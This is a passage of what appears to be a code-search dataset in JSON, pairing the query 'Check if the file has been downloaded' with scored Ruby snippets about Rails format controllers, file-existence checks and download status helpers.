"docid": "a7a3ef18654c0ec336aaeb9a35d79558",
"score": "0.5424136",
"text": "def destroy\n @movie_format = MovieFormat.find(params[:id])\n @movie_format.destroy\n\n respond_to do |format|\n format.html { redirect_to movie_formats_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "fc3ded7ad3a1fec267da415008282a1c",
"score": "0.54238874",
"text": "def with_format(format, &block)\n old_formats = formats\n begin\n self.formats = [format]\n return block.call\n ensure\n self.formats = old_formats\n end\n end",
"title": ""
},
{
"docid": "bbcbecf6c94ef29add1ae58588124c29",
"score": "0.5418105",
"text": "def destroy\n @document_format = DocumentFormat.find(params[:id])\n @document_format.destroy\n\n respond_to do |format|\n format.html { redirect_to document_formats_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a571e8a6aeeb91a24f74c6b3c9f614f4",
"score": "0.5403101",
"text": "def test_format_path_with_path_and_body\n schema = Heroics::Schema.new(SAMPLE_SCHEMA)\n link = schema.resource('resource').link('update')\n assert_equal(['/resource/44724831-bf66-4bc2-865f-e2c4c2b14c78',\n {'new' => 'resource'}],\n link.format_path(['44724831-bf66-4bc2-865f-e2c4c2b14c78',\n {'new' => 'resource'}]))\n end",
"title": ""
},
{
"docid": "9ac96795b12fd0e69789717d27b2a69d",
"score": "0.5402708",
"text": "def destroy\n @created_format.destroy\n respond_to do |format|\n format.html { redirect_to created_formats_url, notice: 'Created format was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "85c1cad4206fa82de172ae5c01943337",
"score": "0.5401989",
"text": "def create\n @format_lookup = FormatLookup.new(params[:format_lookup])\n\n respond_to do |format|\n if @format_lookup.save\n format.html { redirect_to @format_lookup, :notice => 'Format lookup was successfully created.' }\n format.json { render :json => @format_lookup, :status => :created, :location => @format_lookup }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @format_lookup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1c388a212dfb0fe0764958c9e39719b7",
"score": "0.53888535",
"text": "def format=(format)\n validator = EnumAttributeValidator.new('String', [\"JSON\", \"XML\"])\n unless validator.valid?(format)\n fail ArgumentError, \"invalid value for 'format', must be one of #{validator.allowable_values}.\"\n end\n @format = format\n end",
"title": ""
},
{
"docid": "cf153b0ddcc185519e6009056efe9f96",
"score": "0.53811026",
"text": "def destroy\n @format = Format.find(params[:id])\n @format.destroy\n\n respond_to do |format|\n flash[:notice] = \"Format '#{@format}' was destroyed.\"\n format.html { redirect_to formats_url }\n format.xml { head :ok }\n format.js # destroy.rjs\n end\n end",
"title": ""
},
{
"docid": "59b12802942c7ebd61ea32c41d4eb5be",
"score": "0.53794724",
"text": "def update\n respond_to do |format|\n if @schema.update(schema_params)\n format.html { redirect_to @schema, notice: 'Schema was successfully updated.' }\n format.json { render :show, status: :ok, location: @schema }\n else\n format.html { render :edit }\n format.json { render json: @schema.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59b12802942c7ebd61ea32c41d4eb5be",
"score": "0.53794724",
"text": "def update\n respond_to do |format|\n if @schema.update(schema_params)\n format.html { redirect_to @schema, notice: 'Schema was successfully updated.' }\n format.json { render :show, status: :ok, location: @schema }\n else\n format.html { render :edit }\n format.json { render json: @schema.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b9a46e5b16d5266221b85fd9d4647f1",
"score": "0.53721356",
"text": "def register_format(ext, mime)\n FORMATS[ext.to_s] = mime\n end",
"title": ""
},
{
"docid": "2715af348e9d346e3fba5f994a1e31a6",
"score": "0.53649974",
"text": "def update!(**args)\n @format = args[:format] if args.key?(:format)\n @status = args[:status] if args.key?(:status)\n end",
"title": ""
},
{
"docid": "fdac54722c36e7690ccb8c10098411f5",
"score": "0.535527",
"text": "def created_format_params\n params.require(:created_format).permit(:name, :description, :user_id, :admin_user, :format)\n end",
"title": ""
},
{
"docid": "7fd2e8790ef8259d9c50fe4ef84abbf5",
"score": "0.534905",
"text": "def check_acceptable_format\n if [\"txt\", \"png\"].include?(params[:format])\n params[:format] = nil\n raise ActiveRecord::RecordNotFound.new\n end\n end",
"title": ""
},
{
"docid": "b7473e9646807219ccd1f41798bf1aaa",
"score": "0.5348698",
"text": "def destroy\n @serving_format.destroy\n respond_to do |format|\n format.html { redirect_to serving_formats_url, notice: \"Serving format was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f0c53e5dacac3ac3f31adbfdba1bda9e",
"score": "0.53319347",
"text": "def index\n @serving_formats = ServingFormat.all\n end",
"title": ""
},
{
"docid": "3fcc4612fa08ffe4440bacd9fdf51e90",
"score": "0.5330333",
"text": "def format idx\n case idx\n when Integer\n @formats[idx] || @default_format || Format.new\n when String\n @formats.find do |fmt| fmt.name == idx end\n end\n end",
"title": ""
},
{
"docid": "a788c9087ebba5600207a5f5e3523794",
"score": "0.532925",
"text": "def set_default_format\n request.format = 'json'\n end",
"title": ""
},
{
"docid": "7bb84db8d5a83cd4079d810884858272",
"score": "0.5323228",
"text": "def formats(formats) #:doc:\n return unless Apipie.active_dsl?\n _apipie_dsl_data[:formats] = formats\n end",
"title": ""
},
{
"docid": "624d756f88e65cbde3bc60780136e088",
"score": "0.5314883",
"text": "def format(format_name)\n valid_for 'string'\n assert_string format_name\n set format: format_name\n end",
"title": ""
},
{
"docid": "68ebc9825cc9cde4b6551720153932f8",
"score": "0.5309595",
"text": "def create\n @book_format = BookFormat.new(params[:book_format])\n\n respond_to do |format|\n if @book_format.save\n format.html { redirect_to @book_format, notice: 'Book format was successfully created.' }\n format.json { render json: @book_format, status: :created, location: @book_format }\n else\n format.html { render action: \"new\" }\n format.json { render json: @book_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e893af556ea35672676dcfbc1301f38",
"score": "0.5307056",
"text": "def update!(**args)\n @ad_formats = args[:ad_formats] if args.key?(:ad_formats)\n @territories = args[:territories] if args.key?(:territories)\n end",
"title": ""
},
{
"docid": "2637c56421bff23e220bce202c97bc1d",
"score": "0.53005165",
"text": "def individual_format_params\n params.require(:individual_format).permit(:name, :baseToFormat, :formatToBase)\n end",
"title": ""
},
{
"docid": "6f2fee1a4e179447d9e5c4f90eb3d6bb",
"score": "0.5300441",
"text": "def create\n @document_format = DocumentFormat.new(params[:document_format])\n\n respond_to do |format|\n if @document_format.save\n format.html { redirect_to root_path, notice: 'Document format was successfully created.' }\n format.json { render json: @document_format, status: :created, location: @document_format }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "127e5bdd92c0a55315c3233690f643f9",
"score": "0.5300148",
"text": "def formats_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FormatsApi.formats_list ...'\n end\n # resource path\n local_var_path = '/formats'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-PhraseApp-OTP'] = opts[:'x_phrase_app_otp'] if !opts[:'x_phrase_app_otp'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Format>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Basic', 'Token']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FormatsApi#formats_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n response = ::Phrase::Response.new(data, headers)\n return response, status_code, headers\n end",
"title": ""
},
{
"docid": "d35347316cdc7129a9a975af251417ea",
"score": "0.5294483",
"text": "def update\n respond_to do |format|\n if @sample_type.update(sample_type_params)\n format.html { redirect_to @sample_type, notice: \"Sample type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @sample_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @sample_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "11352aba0ae6a83f979515889bfbab2c",
"score": "0.529285",
"text": "def set_individual_format\n @individual_format = IndividualFormat.find(params[:id])\n end",
"title": ""
},
{
"docid": "87b92372c7da5264547b7e242dab0a64",
"score": "0.5285764",
"text": "def update\n respond_to do |format|\n if @formating_history.update(formating_history_params)\n format.html { redirect_to @formating_history, notice: 'Formating history was successfully updated.' }\n format.json { render :show, status: :ok, location: @formating_history }\n else\n format.html { render :edit }\n format.json { render json: @formating_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
b4664d2f36f2c2dda547a767ce402bc6
|
Check if the file has been downloaded.
|
[
{
"docid": "a1f5c6ee7271a01e20dd94a0cd670fac",
"score": "0.6273711",
"text": "def check_file_downloaded_on_selenium_driver(filename, waiting_time)\n log('waiting for file download (selenium)...')\n sleep(waiting_time)\n result = search_files_result(filename, downloaded_files_list)\n [result.present?, result.first || '']\nend",
"title": ""
}
] |
[
{
"docid": "3c082fa17f1787d478c15c4dc8fe8892",
"score": "0.7937488",
"text": "def downloaded?\n File.file? path\n end",
"title": ""
},
{
"docid": "ff08a70d28d5b605160455706a3690b8",
"score": "0.7786902",
"text": "def downloaded?\n Dir.exist?(File.join(DOWNLOAD_DIR, title)) and\n files.all?{ |filename, url| File.exists?(File.join(DOWNLOAD_DIR, title, filename))}\n end",
"title": ""
},
{
"docid": "c9911a292c396864fc8f61b36d16add4",
"score": "0.7781751",
"text": "def fetch_file\n if check_file \n success \"#{filename} already exists, skipping\"\n return true\n else\n download\n end\n end",
"title": ""
},
{
"docid": "7cab581f95edae4feb8e655c4296e353",
"score": "0.77544653",
"text": "def downloading?\n self.status == 4\n end",
"title": ""
},
{
"docid": "57e43d6ddc8e342c8d4197ec9ed5b10e",
"score": "0.75369215",
"text": "def download_finished?\r\n @contents.find{|k,v| v[:body] == nil } == nil\r\n end",
"title": ""
},
{
"docid": "a04313da5408d44fdf4e13ddf5c31215",
"score": "0.7521051",
"text": "def downloaded?\n results = true\n for file in local_files\n results = (results && File.exists?(file))\n end\n return results\n end",
"title": ""
},
{
"docid": "e1d7120bacb88d31c4b8ffea439ad261",
"score": "0.7393757",
"text": "def is_downloadable?\n source =~ /^https?:\\/\\// && file.blank?\n end",
"title": ""
},
{
"docid": "a0ec9205c1f6e5d6a31cf1faa22094a8",
"score": "0.7382727",
"text": "def is_downloadable?\n source =~ /^https?:\\/\\// && file_path.blank?\n end",
"title": ""
},
{
"docid": "030f7b01abdb48f3fe31a0c48cec0805",
"score": "0.73247385",
"text": "def download_needed?(task)\n return true if !File.exist?(name)\n\n if snapshot?\n return false if offline? && File.exist?(name)\n return true if update_snapshot? || old?\n end\n\n return false\n end",
"title": ""
},
{
"docid": "5088c5977387c4762f8610465083be0d",
"score": "0.7210899",
"text": "def downloadable?\n (url && !url.blank? && url != \"N/A\" && remote_file_path == \"pdf\") ? true : false\n end",
"title": ""
},
{
"docid": "ea916e84e6a8ac139a83cf9759ab00dc",
"score": "0.7200563",
"text": "def download!\n\t\topen(file_path, 'wb') do |file|\n\t\t file << open(url).read\n\t Rails.logger.info 'Downloaded file'\n\t return true\n\t\tend\n end",
"title": ""
},
{
"docid": "1af77aa22f2595fd106da3f30e39aff2",
"score": "0.7167879",
"text": "def download_changed?\n self.download\n #puts self.download_log[-1][:changed].to_s+\" \"+save_path \n #return self.download_log[-1][:changed] unless self.download_log[-1][:changed].nil?\n return true\n end",
"title": ""
},
{
"docid": "1500aee157df41e8f85af0095f38c57c",
"score": "0.71369517",
"text": "def can_be_downloaded?\n TypeHelper.can_be_downloaded? this_uri.path\n end",
"title": ""
},
{
"docid": "02f2e561a57d9b27f327d7856d565448",
"score": "0.7127974",
"text": "def is_file_ready?(file)\n file && (file['deliver'] != 'no' || file['publish'] != 'no')\n end",
"title": ""
},
{
"docid": "5ce77a584cc53102c50ed798ef6f954c",
"score": "0.7105134",
"text": "def downloaded?(url)\n @downloaded_url[\"#{url.hash}\"]\n end",
"title": ""
},
{
"docid": "bf8718181584c4af9876f43a01dc46fe",
"score": "0.7084774",
"text": "def file_ready?(file)\n file && (file['deliver'] != 'no' || file['publish'] != 'no')\n end",
"title": ""
},
{
"docid": "8c6f7e1d247c5f1ac18d4412515a8a45",
"score": "0.70009655",
"text": "def downloadable?\r\n @downloadable\r\n end",
"title": ""
},
{
"docid": "d087324633db867b77f0aa90f7b39acc",
"score": "0.69990534",
"text": "def client_downloaded?(client_download_link, client_name)\n file_name = \"#{default_download_path}/#{client_name}\"\n client_download_link.click\n i = 0\n 30.times do\n break if ( File.size?(file_name).to_i + File.size?(file_name+'.part').to_i ) > 0\n sleep(1)\n end\n return (File.size?(file_name).to_i+File.size?(file_name+'.part').to_i) > 0\n end",
"title": ""
},
{
"docid": "db375a13ba72aef865033e63e2f14ccc",
"score": "0.6996255",
"text": "def export_ready?(export_status_doc)\n export_file_urls(export_status_doc).any?\n end",
"title": ""
},
{
"docid": "10413bfda6c2131d3d0e7385c00333c8",
"score": "0.6991026",
"text": "def downloaded?\n !cached_cookbook.nil?\n end",
"title": ""
},
{
"docid": "10413bfda6c2131d3d0e7385c00333c8",
"score": "0.6991026",
"text": "def downloaded?\n !cached_cookbook.nil?\n end",
"title": ""
},
{
"docid": "6ec7b0b33417fbb81a97f387d510383e",
"score": "0.69509673",
"text": "def ravelry_download?\n data[:ravelry_download]\n end",
"title": ""
},
{
"docid": "6ec7b0b33417fbb81a97f387d510383e",
"score": "0.69509673",
"text": "def ravelry_download?\n data[:ravelry_download]\n end",
"title": ""
},
{
"docid": "4d95e49990d9d0aef20d2b538cd17d49",
"score": "0.69299877",
"text": "def completed?\n @downloaded_bytes == @meta_info.total_size\n end",
"title": ""
},
{
"docid": "291de1a4ee8ca30cf77b32375f686352",
"score": "0.692309",
"text": "def file_done?\n self.size && self.size_of_data_received == self.size\n end",
"title": ""
},
{
"docid": "fc14e343a098ec75c5b06c779e81d779",
"score": "0.6882091",
"text": "def checkDownloadStatus()\n\t\tif @seeding == true\n\t\t\treturn\n\t\tend\n\t\n\t\tallDownloaded = true\n\t\tfinishedCount=0\n\t\t@piecesList.each{ |piece|\n\t\t\tif piece.complete!=true\n\t\t\t\tallDownloaded = false\n\t\t\telse \n\t\t\t\tfinishedCount+=1\n\t\t\tend\n\t\t}\n\t\t\n\t\tif allDownloaded == true #&& finishedCount == @torrentMetadata[\"info\"][\"pieces\"]\n\t\t\t@piecesList.each{ |piece|\n\t\t\t\tif !piece.checkHash() # Theres a bad piece.\n\t\t\t\t\tputs debugMessage(\"Download complete, but there is fails checksum\")\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t}\n\t\t\ttransferRate = (((@torrent.totalPieces)/(Time.now-@startTime))/1000).to_s\n\t\t\tputs debugMessage(\"Download completed in #{Time.now-@startTime}s [#{transferRate.to_s.gsub(/(\\d)(?=\\d{3}+(\\.\\d*)?$)/, '\\1,')} KB/sec]\")\n\t\t\tputs debugMessage(\"Seed Process Started\")\n\t\t\t \n\t\t\t@seeding = true\n\t\tend\n\tend",
"title": ""
},
{
"docid": "793cbdbd86a467900286d914a444feca",
"score": "0.68694663",
"text": "def download?(url)\n url[/(imgur|\\.jpe?g\\z)/] && !downloaded.include?(url)\n end",
"title": ""
},
{
"docid": "13fbe67a01753cb73e6ea557a52ea550",
"score": "0.6841663",
"text": "def downloadable?\n data[:downloadable]\n end",
"title": ""
},
{
"docid": "13fbe67a01753cb73e6ea557a52ea550",
"score": "0.6841663",
"text": "def downloadable?\n data[:downloadable]\n end",
"title": ""
},
{
"docid": "21de3870a150cc590289cad83774e00f",
"score": "0.6829277",
"text": "def show_download?\n super && @purl_object.downloadable_files.present?\n end",
"title": ""
},
{
"docid": "b8866560503bc6952e6a6fff5197ed14",
"score": "0.68251246",
"text": "def downloaded?(itinerary)\n downloadeds.include?(itinerary)\n end",
"title": ""
},
{
"docid": "058cbc8b58ff38de6506443b14f344cb",
"score": "0.6814489",
"text": "def gen_downloading_in_progress?\n\t\tif(DRIVER == \"firefox\")\n\t\t\t(gen_downloaded_files_names ALL_TYPE_FILES).grep(/\\.part$/).any?\n\t\telse if(DRIVER == \"chrome\")\n\t\t\t(gen_downloaded_files_names ALL_TYPE_FILES).grep(/\\.crdownload$/).any?\n\t\tend\t\n\t\tend\n\tend",
"title": ""
},
{
"docid": "abc6ff368287a372c486ac576faf69f6",
"score": "0.6777953",
"text": "def show_download?\n self.class.show_download? && !@request.hide_download?\n end",
"title": ""
},
{
"docid": "e9a6b4fcc69a1996d565cf0dcfc90d11",
"score": "0.6738088",
"text": "def not_extracted?(url)\n if params[:once]\n !data_provider_file_extracted?(url)\n else\n true\n end\n end",
"title": ""
},
{
"docid": "a931c3b0ea6c6ce8936b7543b623fdf3",
"score": "0.67364407",
"text": "def downloadable?\n unless @item[:item][\"accessInfo\"][\"pdf\"].nil? || @item[:item][\"accessInfo\"][\"pdf\"][\"downloadLink\"].nil?\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "7af84a3dde8493639b1937be93f95f6f",
"score": "0.6703152",
"text": "def is_downloadable?\n true\n end",
"title": ""
},
{
"docid": "f1823451d5c752063c3e5edcc3e62872",
"score": "0.66870886",
"text": "def download\n success=true\n for file in remote_files\n success = (success and Downloader.download_file(file))\n end\n return success\n end",
"title": ""
},
{
"docid": "0b4c43b233766ee3fc8c206adc1fa1fb",
"score": "0.66670954",
"text": "def downloadable?\n !!@options[:allow_download]\n end",
"title": ""
},
{
"docid": "7fb9f2be39f82578445320346f26abfb",
"score": "0.66384697",
"text": "def download!\n downloadable? && increment!(:access_counter) ? true : false\n end",
"title": ""
},
{
"docid": "a90a324823dc8ef0c9272fce640c0c1c",
"score": "0.6619326",
"text": "def fileIsAvailable(protocol, request_uri, fileformat)\n url = \"#{protocol}://#{@instance}/#{request_uri}/#{fileformat}\"\n headers ={}\n headers['X-Atlassian-Token']='no-check'\n\n if (connected?)\n #@curlsession.verbose = true\n @curlsession.url = url\n @curlsession.headers=headers\n @curlsession.follow_location = true\n @curlsession.http_head\n\n if ((@curlsession.response_code == 200) &&\n @curlsession.content_type == 'application/zip')\n return true\n else\n return false\n #raise 'An error has occured. Unable to find requested file.'\n end\n end\n end",
"title": ""
},
{
"docid": "38a2ee5a736aa257e7904138ab94f4a5",
"score": "0.6605045",
"text": "def downlodables?\n true if !self.downloadables.empty?\n end",
"title": ""
},
{
"docid": "070952a7b16eeb5c4bf4ed9866046d7d",
"score": "0.65847063",
"text": "def line_items_downloaded?\n @line_items_downloaded\n end",
"title": ""
},
{
"docid": "a1b04a6e9dfe21a9c260d77c0cc475b7",
"score": "0.6583967",
"text": "def all_hits_downloaded?(last_request)\n\t\tlast_request[PREV_REQUEST_COMPLETED].to_s == \"true\"\n\tend",
"title": ""
},
{
"docid": "94e5dc80d9b7ee2fb8607933279f6629",
"score": "0.65790415",
"text": "def downloaded?(ignore_ttl = false)\r\n if self.context.network_enabled?\r\n result = Api.proj_is_download_needed(self.context, self.url&.to_s || self.name, ignore_ttl ? 1 : 0)\r\n result == 1 ? false : true\r\n else\r\n false\r\n end\r\n end",
"title": ""
},
{
"docid": "ce0449ea4dfcddeffa9b558d00680525",
"score": "0.6575575",
"text": "def post_missing?\n return if post_url_invalid?\n\n !File.exist?(filename)\n end",
"title": ""
},
{
"docid": "ec8f68fa58b22811b1aba4936c4f5b01",
"score": "0.65561473",
"text": "def download_link_present?(link_name)\n !(locate(:xpath, \"//a[contains(text(),'#{link_name}')]\").nil?)\n end",
"title": ""
},
{
"docid": "eb994e2b35b9d2054d66d7b081517579",
"score": "0.65525424",
"text": "def remote_file_exists(path)\r\n does_exist = nil\r\n \r\n res = Net::HTTP::Proxy(@proxy_host, @proxy_port).start(@url.host,\r\n @url.port) { |http|\r\n res = http.head(path, self.random_headers)\r\n case res\r\n when Net::HTTPSuccess, Net::HTTPRedirection\r\n does_exist = true\r\n else\r\n does_exist = false\r\n end\r\n }\r\n \r\n return does_exist\r\n end",
"title": ""
},
{
"docid": "7c64367d95edb089383208686a1b41e0",
"score": "0.6552497",
"text": "def can_download?\n can? :read, datastream.pid\n end",
"title": ""
},
{
"docid": "f4d707d9053437ac1d36b68a262872ac",
"score": "0.6549117",
"text": "def downloadable?\n Date.today < max_download_time\n end",
"title": ""
},
{
"docid": "e4cea94bb993fc9345c5d5ceea5b5611",
"score": "0.6542111",
"text": "def wait_for_download\n Timeout.timeout(1) do\n sleep 0.1 until downloaded?\n end\n end",
"title": ""
},
{
"docid": "640ac383d75cde2d7682c32c1cd9342e",
"score": "0.653518",
"text": "def check_for_file\n File.exist? @fullpath \n end",
"title": ""
},
{
"docid": "ff1033c5d8995a3346a2351cef63e994",
"score": "0.65158796",
"text": "def file_exists?(file)\n url = URI.parse(file)\n Net::HTTP.start(url.host, url.port) do |http|\n return http.head(url.request_uri).code == \"200\"\n end unless file.blank?\n \n return false\nend",
"title": ""
},
{
"docid": "887ae33e82abe02ca5ce236377de30b9",
"score": "0.64902097",
"text": "def complete_record_downloaded?\n if !!self.class.list_contains_summary_only?\n !!complete_record_downloaded\n else\n true\n end\n end",
"title": ""
},
{
"docid": "ea62c21270b6e11397f40eadf255e779",
"score": "0.64891565",
"text": "def downloadable?\n false\n end",
"title": ""
},
{
"docid": "68704edeb83477e866c46f6f8afe58f4",
"score": "0.64769405",
"text": "def status\n File.exist?(@filename)\n end",
"title": ""
},
{
"docid": "d490ecd1facfd184825e2e3a394594a6",
"score": "0.6457879",
"text": "def get\n @raw_download ||= do_download\n true\n end",
"title": ""
},
{
"docid": "f30da602b51f8e39c6f54f6142ff6938",
"score": "0.64567333",
"text": "def file_exist?(filename)\n if __transport_connection\n __transport_connection.file(filename).exist?\n else\n File.exist?(filename)\n end\n end",
"title": ""
},
{
"docid": "884c2853cf4def0599789eceb75c0096",
"score": "0.6450488",
"text": "def path_ok?\n \t\t\tFile.exists?(self.file_path)\n \t\tend",
"title": ""
},
{
"docid": "5189e21b99bfd9f6a895f10d922afcaf",
"score": "0.6435965",
"text": "def can_download_files?( work )\n check_embargo(work)\n can_download = can_download?( work )\n puts \"==> can_download_files = #{can_download}\"\n return( can_download )\n end",
"title": ""
},
{
"docid": "b38a42fca463ad06130dcf48dba025bd",
"score": "0.6420435",
"text": "def download_disabled?\n !is_downloadable?\n end",
"title": ""
},
{
"docid": "cd20d5e80da7b14118f9bdc8d6c77459",
"score": "0.6404527",
"text": "def remote_file_exists?(full_path)\n remote_filetest_passes?('-e', full_path)\n end",
"title": ""
},
{
"docid": "2fead1313f914acabc7d8e811d08584e",
"score": "0.63986343",
"text": "def downloadable?\n !(expired? || access_limit_exceeded?)\n end",
"title": ""
},
{
"docid": "4a3d40fde727e73cbc664da1b66ebf84",
"score": "0.63963604",
"text": "def has_content?\n dsLocation.present? && File.exists?(filename)\n end",
"title": ""
},
{
"docid": "4a3d40fde727e73cbc664da1b66ebf84",
"score": "0.63963604",
"text": "def has_content?\n dsLocation.present? && File.exists?(filename)\n end",
"title": ""
},
{
"docid": "fe1b9efbed2d99642d54a14c91bf56b1",
"score": "0.63869977",
"text": "def file_exist?\n File.exist?(@file_name) && File.size(@file_name) > 0\n end",
"title": ""
},
{
"docid": "ba9156e66b3abb5eac575154aaaa7065",
"score": "0.63819736",
"text": "def check_remote_file_size(file, url)\n if File.exists?(file)\n # The wget --timestamping (-N) option won't check the file size especially when\n # previous download was interrupted and left broken files with newer dates.\n local_file_size = File.size(file)\n remote_file_size = `curl -sI #{url} | grep '^Content-Length:' | awk '{print $2}'`.strip.to_i\n $stderr.puts \"# Local file size: #{local_file_size} (#{file})\"\n $stderr.puts \"# Remote file size: #{remote_file_size} (#{url})\"\n return local_file_size != remote_file_size\n else\n return true\n end\n end",
"title": ""
},
{
"docid": "ca8e2aca5587175cce8e7f7fde9f0114",
"score": "0.6373809",
"text": "def available?\n unless @@available\n begin\n # FIX: we might want to parse the result and require a minimum curl\n # version.\n cmd = \"curl --version\"\n `#{cmd}`\n if $?.success?\n @@available = true\n else\n raise RetrieverError, \"\\\"#{cmd}\\\" exited with #{$?.exitstatus}\"\n end\n rescue\n @logger.note_error($!, :available, \"download retriever is unavailable\")\n end\n end\n @@available\n end",
"title": ""
},
{
"docid": "551f1d25917d1d62f10758b2a14cbccb",
"score": "0.6370543",
"text": "def file_exists\n File.exist? @file\n end",
"title": ""
},
{
"docid": "dc77f59665779240d79724f62bdc5320",
"score": "0.63652986",
"text": "def file_exists?\n headers.present? && headers['content-length'].to_i > 1.kilobyte\n end",
"title": ""
},
{
"docid": "bda2754e87f45a2521e3bc7bf8297265",
"score": "0.63598883",
"text": "def update_input_file?(file, url)\n if File.exists?(file)\n # Both checks should be made as the local file can be newer than remote when the previous download fails\n check_remote_file_time(file, url)\n # and the local file can be smaller or size 0 even when it exists\n check_remote_file_size(file, url)\n else\n true\n end\n end",
"title": ""
},
{
"docid": "825e0973acc3cfce01b420b2e549fc8a",
"score": "0.6355749",
"text": "def check_file\n if File.exists?(\"#{location}/#{output}\") && check_size\n return true\n else\n return false\n end \n end",
"title": ""
},
{
"docid": "a3ed2eab3e9ecab9c0c333c1e9d533d2",
"score": "0.63504815",
"text": "def file_exists?(location, path)\n source_file = \"#{location}:#{path}\"\n url = api_url(:download_file, params: {format: :json, source_file: source_file})\n begin\n open(url.to_s) do |u| \n end\n return true\n rescue OpenURI::HTTPError\n return false\n end\n end",
"title": ""
},
{
"docid": "656ed851d62239955cd64a2874f89e46",
"score": "0.6341488",
"text": "def file_exists\n end",
"title": ""
},
{
"docid": "73b027333f75a2304a301078a24875b5",
"score": "0.6332331",
"text": "def report_file_exist?\n File.exists?(report_file)\n end",
"title": ""
},
{
"docid": "6cb0d72d46e75da26615ae292a7c76df",
"score": "0.633035",
"text": "def download_for? peer\n raise NotInReactor unless EM.reactor_thread?\n @current_downloads.key?(peer) && @current_downloads[peer] == nil\n end",
"title": ""
},
{
"docid": "f8bf0caf106b08f278ef08518fab6ade",
"score": "0.6321375",
"text": "def has_downloaded?(content_item)\r\n Activity.with_user(self).only(:content_downloaded).for_content(content_item).find(:first)\r\n end",
"title": ""
},
{
"docid": "a151856a7c40b585b5cdd84a07e69834",
"score": "0.63203025",
"text": "def is_download?\n self.documentable_type == 'Download'\n end",
"title": ""
},
{
"docid": "a8e661b3cc4d0aa3f33221188eae6844",
"score": "0.6317717",
"text": "def download_link_present?(partner)\n !(locate(:xpath, \"//a[text()='#{partner}']//parent::td//parent::tr//td[4]//a[starts-with(@href,'/downloads/')]\").nil?)\n end",
"title": ""
},
{
"docid": "f94bfa1b1f5d39ded5837c938e9497ec",
"score": "0.631385",
"text": "def downloadable?()\n res = @data['page'].data['downloadable']\n res.nil? ? config.downloadable?(gallery_name) : res\n end",
"title": ""
},
{
"docid": "20dbdbb22b1fc53e692ee8627870f7e6",
"score": "0.63104683",
"text": "def check_file(local_file)\n# Immateriel.info binding, @url\n uniq_str=Digest::MD5.hexdigest(\"#{@url}:#{local_file}\")\n uri = URI.parse(@url)\n fn=\"/tmp/#{uniq_str}_\"+Digest::MD5.hexdigest(File.basename(uri.path))+File.extname(uri.path)\n self.class.download(@url, fn)\n if File.exists?(fn)\n check_result=self.class.check_image(fn, local_file, uniq_str)\n FileUtils.rm_f(fn)\n if check_result\n true\n else\n false\n end\n else\n false\n end\n end",
"title": ""
},
{
"docid": "7026d420a4d44e25e5fdb0bdfcc947cf",
"score": "0.6301313",
"text": "def files_downloadable?\n if actable.self_respond_to?(:files_downloadable?)\n actable.files_downloadable?\n else\n false\n end\n end",
"title": ""
},
{
"docid": "784a722b947dd1bc1ed2ee5ea3229f30",
"score": "0.6296563",
"text": "def file?\n RemoteStat.file?(@path, @host_name)\n end",
"title": ""
},
{
"docid": "dcc166aa056cd551ed40cc458297c9d7",
"score": "0.628957",
"text": "def is_complete?\n trigger_file.present? && display_file.present?\n end",
"title": ""
},
{
"docid": "d91fbec05273cfd21e9c00a257968092",
"score": "0.6286134",
"text": "def remote_file?\n file? && @remote_file\n end",
"title": ""
},
{
"docid": "a4e033a8bfccb861a226cdf3021747bd",
"score": "0.6277435",
"text": "def is_new(file)\n !$download_history.has_key?(file.id)\nend",
"title": ""
},
{
"docid": "6d44b20f4963431ef96cc3fdf5fd496c",
"score": "0.6276821",
"text": "def simple_downloader?\n @simple_downloader ||= false\n end",
"title": ""
},
{
"docid": "6af0bc0cd26fa5bd5f054a41086f0b46",
"score": "0.626857",
"text": "def data_file_exists?\n File.file? @data_file\n end",
"title": ""
},
{
"docid": "94a7abecc31cb5c834c9a29d14adc3d6",
"score": "0.62652344",
"text": "def has_file?(filename)\n\t\t!self.files.detect(filename).nil?\n\tend",
"title": ""
},
{
"docid": "252d4f100ac95b2f3f0d8ce1fe126891",
"score": "0.62575793",
"text": "def download?\n params[:download]\n end",
"title": ""
},
{
"docid": "252d4f100ac95b2f3f0d8ce1fe126891",
"score": "0.62575793",
"text": "def download?\n params[:download]\n end",
"title": ""
},
{
"docid": "1a73d5f2f50f163014c0ddd354f2712b",
"score": "0.624279",
"text": "def downloaded? app_id\n get(\"core/hasUserDownloadedApp\", Boolean,\n :session_token,\n appId: app_id\n )\n end",
"title": ""
},
{
"docid": "aec5bc05fa9403ba53f46f0983f7b81c",
"score": "0.6238941",
"text": "def good_file?\n File.exist? @file\n end",
